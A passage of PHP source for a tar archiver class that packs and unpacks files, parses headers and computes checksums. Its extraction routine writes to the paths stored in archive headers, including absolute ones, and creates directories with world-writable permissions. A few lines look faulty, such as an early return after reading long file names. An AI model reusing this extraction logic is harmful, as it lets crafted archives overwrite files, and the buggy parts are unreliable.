}
if ($this->file_pos == 0) {
if (!$this->writeHeader($filename, $keep_filename)) {
return false;
}
}
while (($buffer = fread($file, 512)) != '') {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else {
$this->writeHeader($filename, $keep_filename);
}
if (@is_dir($filename)) {
if (!($handle = opendir($filename))) {
$this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))) {
if ($dir != '.' && $dir != '..') {
$file_array_tmp = array();
if ($filename != '.') {
$file_array_tmp[] = $filename . '/' . $dir;
} else {
$file_array_tmp[] = $dir;
}
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path)
{
$path = str_replace('\\', '/', $path);
if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) {
$path = './' . $path;
}
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0) {
if (!$this->readHeader($binaryData, $header)) {
return false;
}
if ($header['filename'] == '') {
continue;
}
if ($header['typeflag'] == 'L') {
//reading long header
$filename = '';
$decr = floor($header['size'] / 512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0) {
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) {
return false;
} else {
$header['filename'] = $filename;
}
return true;
}
if ($path != './' && $path != '/') {
while (substr($path, -1) == '/') {
$path = substr($path, 0, strlen($path) - 1);
}
if (substr($header['filename'], 0, 1) == '/') {
$header['filename'] = $path . $header['filename'];
} else {
$header['filename'] = $path . '/' . $header['filename'];
}
}
if (file_exists($header['filename'])) {
if (@is_dir($header['filename']) && $header['typeflag'] == '') {
$this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder');
return false;
}
if (is_file($header['filename']) && $header['typeflag'] == '5') {
$this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists');
return false;
}
if (!is_writeable($header['filename'])) {
$this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists');
return false;
}
} elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) {
$this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename'];
return false;
}
if ($header['typeflag'] == '5') {
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory') . ' ' . $header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file') . ' ' . $header['filename'];
return false;
} else {
$decr = floor($header['size'] / 512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if ($header['size'] % 512 != 0) {
$content = $this->readBlock();
fwrite($destination, $content, $header['size'] % 512);
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) {
$file_dir = '';
}
if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') {
$file_dir = '/';
}
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir)
{
$parent_dir = dirname($dir);
if (@is_dir($dir) or $dir == '') {
return true;
}
if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) {
return false;
}
if (!mkdir($dir, 0777)) {
$this->errors[] = __('Cannot create directory') . ' ' . $dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header)
{
if (strlen($binaryData) == 0) {
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512) {
$header['filename'] = '';
$this->__('Invalid block size') . ': ' . strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($binaryData, $i, 1));
}
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
for ($i = 156; $i < 512; $i++) {
$checksum += ord(substr($binaryData, $i, 1));
}
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum) {
$header['filename'] = '';
if ($checksum == 256 && $header['checksum'] == 0) {
return true;
}
$this->errors[] = __('Error checksum for file ') . $unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') {
$header['size'] = 0;
}
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename)
{
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename) <= 0) {
$keep_filename = $filename;
}
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99) {
//write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($dataFirst, $i, 1));
}
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
// Last part of the header
for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
$checksum += ord(substr($dataLast, $j, 1));
}
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)) {
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) {
$checksum += ord(substr($dataFirst, $i, 1));
}
for ($i = 148; $i < 156; $i++) {
$checksum += ord(' ');
}
for ($i = 156, $j = 0; $i < 512; $i++, $j++) {
$checksum += ord(substr($dataLast, $j, 1));
}
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite()
{
if ($this->isGzipped) {
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
} else {
$this->tmp_file = fopen($this->archive_name, 'wb');
}
if (!$this->tmp_file) {
$this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name;
return false;
}
return true;
}
function readBlock()
{
if (is_resource($this->tmp_file)) {
if ($this->isGzipped) {
$block = gzread($this->tmp_file, 512);
} else {
$block = fread($this->tmp_file, 512);
}
} else {
$block = '';
}
return $block;
}
function writeBlock($data, $length = 0)
{
if (is_resource($this->tmp_file)) {
if ($length === 0) {
if ($this->isGzipped) {
gzputs($this->tmp_file, $data);
} else {
fputs($this->tmp_file, $data);
}
} else {
if ($this->isGzipped) {
gzputs($this->tmp_file, $data, $length);
} else {
fputs($this->tmp_file, $data, $length);
}
}
}
}
function closeTmpFile()
{
if (is_resource($this->tmp_file)) {
if ($this->isGzipped) {
gzclose($this->tmp_file);
} else {
fclose($this->tmp_file);
}
$this->tmp_file = 0;
}
}
function makeGoodPath($path)
{
if (strlen($path) > 0) {
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath) - 1;
for ($i = $els; $i >= 0; $i--) {
if ($partPath[$i] == '.') {
// Ignore this directory
} elseif ($partPath[$i] == '..') {
$i--;
} elseif ($partPath[$i] == '' and $i != $els and $i != 0) {
} else {
$result = $partPath[$i] . ($i != $els ? '/' . $result : '');
}
}
} else {
$result = '';
}
return $result;
}
}